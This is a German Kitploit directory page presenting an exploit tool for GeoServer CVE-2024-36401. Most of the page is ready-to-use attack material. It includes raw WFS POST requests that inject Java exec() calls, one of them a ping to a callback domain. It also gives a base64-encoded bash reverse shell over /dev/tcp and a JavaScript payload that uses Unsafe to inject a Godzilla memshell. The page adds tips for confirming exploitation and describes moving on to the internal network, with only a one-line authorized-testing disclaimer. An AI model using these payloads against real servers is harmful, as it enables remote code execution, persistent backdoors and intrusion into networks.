Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
geoserver- — geoserver CVE-2024-36401 Exploit-Tool | Kitploit
Tools/GitHubGitHub/ahisec/geoserver-
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsCommand and ControlPayload-Entwicklung
GitHubahisec/geoserver-

geoserver-

geoserver CVE-2024-36401 Exploit-Tool

Repository anzeigen
468vor 2 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

GeoServer CVE-2024-36401 Exploit-Tool

GeoServer CVE-2024-36401 – Umgebung: JDK8 – Hinweis: Nur für autorisierte Tests. Der Autor übernimmt keine Haftung für Missbrauch durch Benutzer. Bitte halten Sie sich an die geltenden Gesetze!

  1. Standard-Payload:
root@kitploit:~
POST /geoserver/wfs HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Host: xxxx
Accept-Language: en-US;q=0.9,en;q=0.8
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 356

<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'ping wsn9.callback.red')</wfs:valueReference>
</wfs:GetPropertyValue>

Hier ist Folgendes zu beachten: <wfs:Query typeNames='sf:archsites'/>

Wenn Sie einen regulären Ausdruck verwenden möchten, um diesen Teil zu extrahieren – dies ist eine grundlegende Kennung der Website sf:archsites – müssen Sie zunächst die Information <wfs:ReturnFeatureType>(.*?)</wfs:ReturnFeatureType> abrufen und können diese dann per String-Konkatenation zusammensetzen.

Bei der Schwachstellenerkennung:

root@kitploit:~
  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'ping wsn9.callback.red')</wfs:valueReference>

Eigentlich muss man hier nicht einmal DNS-Logs prüfen.
Eine einfache Logik ist die Prüfung auf das Auftreten einer Ausnahmeklasse wie java.lang.ClassCastException.

Das ist natürlich nur eine Erkennungslogik.

Der Rückgabewert ist standardmäßig 400 – das ist eine häufige Fehlerfalle. Sie müssen nach der Fehlerseite in den Daten suchen.

Zuerst müssen Sie folgende Anfrage senden:

root@kitploit:~
<wfs:ListStoredQueries service='WFS'
 version='2.0.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'/>

Diese Information gibt Ihnen die Möglichkeit, <wfs:ReturnFeatureType>(.*?)</wfs:ReturnFeatureType> zu erhalten.
Weisen Sie den Text zu, rufen Sie dann eine Funktion/Methode auf, die den extrahierten Teil des Textes in den Parameter <wfs:Query typeNames='sf:archsites'/> einfügt.

Dadurch wird die Erkennungslogik relativ präzise. Für den Erkennungs-Code genügt dieser Ansatz.

Wenn Sie immer nur <wfs:Query typeNames='sf:archsites'/> verwenden, ist die Fehlerkennungsrate hoch, da der Fehler Could not locate {http://www.openplans.org/spearfish}archsites in catalog. ausgegeben wird.

Reverse-Shell-Klasse

Betrachten wir das Reverse-Shell-Payload:

root@kitploit:~
POST /geoserver/wfs HTTP/1.1
Host: xxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: JSESSIONID=5D030E92A0AFCC3B5006597E6524FD8D
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Content-Type: application/xml
Content-Length: 438

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}')</wfs:valueReference>
</wfs:GetPropertyValue>

Beachten Sie hier: <wfs:Query typeNames='sf:archsites'/>

Auch hier muss zuerst der Wert per Regex extrahiert und dann angehängt werden.
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx ist die Base64-kodierte Version von bash -i >& /dev/tcp/127.0.0.1/9999 0>&1.

Bei der Implementierung wandeln Sie den vom Benutzer eingegebenen Befehl bash -i >& /dev/tcp/127.0.0.1/9999 0>&1 in Base64 um.

Senden Sie die Anfrage und prüfen Sie wieder auf die entscheidende Ausnahmeklasse – das genügt für die Erkennungslogik.

MemShell-Injection-Klasse

Hier:

root@kitploit:~
POST /geoserver/wfs HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Host: xxx
Accept-Language: en-US;q=0.9,en;q=0.8
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 20383

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>eval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),'
var str="";
var bt;
try {
    bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);
} catch (e) {
    bt = java.util.Base64.getDecoder().decode(str);
}
var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
unsafe = theUnsafe.get(null);
unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), bt, null).newInstance();
')</wfs:valueReference>
</wfs:GetPropertyValue>

Auch hier gibt es <wfs:Query typeNames='sf:archsites'/> – wie gewohnt erst den Wert holen.
Setzen Sie bei str den von Ihnen generierten Base64-kodierten MemShell-Code ein.
Dann die Erkennungslogik anwenden.

Häufige Fehlerquellen

  1. Die wiederholte Verwendung von <wfs:Query typeNames='sf:archsites'/> führt zu 98 % Fehlalarmen. Fehlermeldung z. B.:

    root@kitploit:~
    https://geoserver.epic.blue/geoserver/schemas/ows/1.1.0/owsAll.xsd">
    <ows:Exception exceptionCode="InvalidParameterValue" locator="typeName">
    <ows:ExceptionText>Could not locate {http://www.openplans.org/spearfish}archsites in catalog.<
    

    Bei vorhandener Schwachstelle:

    root@kitploit:~
    <ows:Exception exceptionCode="NoApplicableCode">
    <ows:ExceptionText>java.lang.ClassCastException: class java.lang.ProcessImpl cannot be cast to class org.opengis.feature.type.AttributeDescriptor (java.lang.ProcessImpl is in module java.base of loader &amp;apos;bootstrap&amp;apos;; org.opengis.feature.type.AttributeDescriptor is in unnamed module of loader org.apache.catalina.loader.ParallelWebappClassLoader @4b9df8a)
    class java.lang.ProcessImpl cannot be cast to class org.opengis.feature.type.AttributeDescriptor (java.lang.ProcessImpl is in module java.base of loader &amp;apos;bootstrap&amp;apos;; org.opengis.feature.type.AttributeDescriptor is in unnamed module of loader org.apache.catalina.loader.ParallelWebappClassLoader @4b9df8a)</ows:ExceptionText>
    </ows:Exception>
    

    Einfach ausgedrückt: Bei vorhandener Schwachstelle erscheint java.lang.ClassCastException.
    Bei Fehlalarm: .

image

Testen wir die Schwachstelle.

Tool-Ausführungsergebnisse:

image

image

Hinweis: Keine Rückmeldung ist gleichbedeutend mit „keine Schwachstelle gefunden“; bei vorhandener Schwachstelle wird ein +-Zeichen angezeigt.

Schwachstelle gefunden → Reverse-Shell → Test auf erfolgreiche Verbindung → anschließend inneres Netzwerk testen.

Optimierungen könnten benutzerdefinierte MemShells, Batch-Scans usw. umfassen.

image

Die Schwachstelle wurde erkannt, Endpunkt ermittelt, Reverse-Shell erfolgreich.

Als Nächstes testen wir die MemShell-Injektion:

image

Anzeige: MemShell erfolgreich injiziert. Verbinden und prüfen.

image

Verbindung ist möglich.

Hinweis: MemShell-Test – „This GeoServer instance is running version 2.15.2. For more information please contact the ...“
Bei dieser Version war die Injektion erfolgreich.
Höhere Versionen könnten fehlschlagen.
Andere Versionen bitte selbst testen.

image

Benutzerdefinierte MemShell-Funktion hinzugefügt.

image

Änderungsprotokoll

  • ls-Test und Ping-Test hinzugefügt.
  • Problem bei der MemShell-Injektion behoben.
  • Erkennung von Tomcat und Jetty hinzugefügt.
  • Godzilla-MemShell verwendet standardmäßig die Jetty-Umgebung für die Injektion.
  • Benutzerdefinierte MemShell kann wahlweise in der Tomcat-Umgebung getestet werden.
  • Batch-Version noch nicht veröffentlicht.
Tool herunterladen
Could not locate {http://www.openplans.org/spearfish}archsites in catalog
  • Erkennungsmethode:

    • Extrahiere den Wert aus <wfs:ReturnFeatureType>, weise ihn einem Text zu.
    • Rufe eine Funktion auf dem Text auf (um NullPointerException zu vermeiden, muss der Wert vorher gesetzt werden).
    • Füge ihn vor der Anfrage in die Anfrage ein.
    • Prüfe die Rückgabe auf die Ausnahmeklasse.

    So haben wir letztendlich dieses Exploit-Tool realisiert.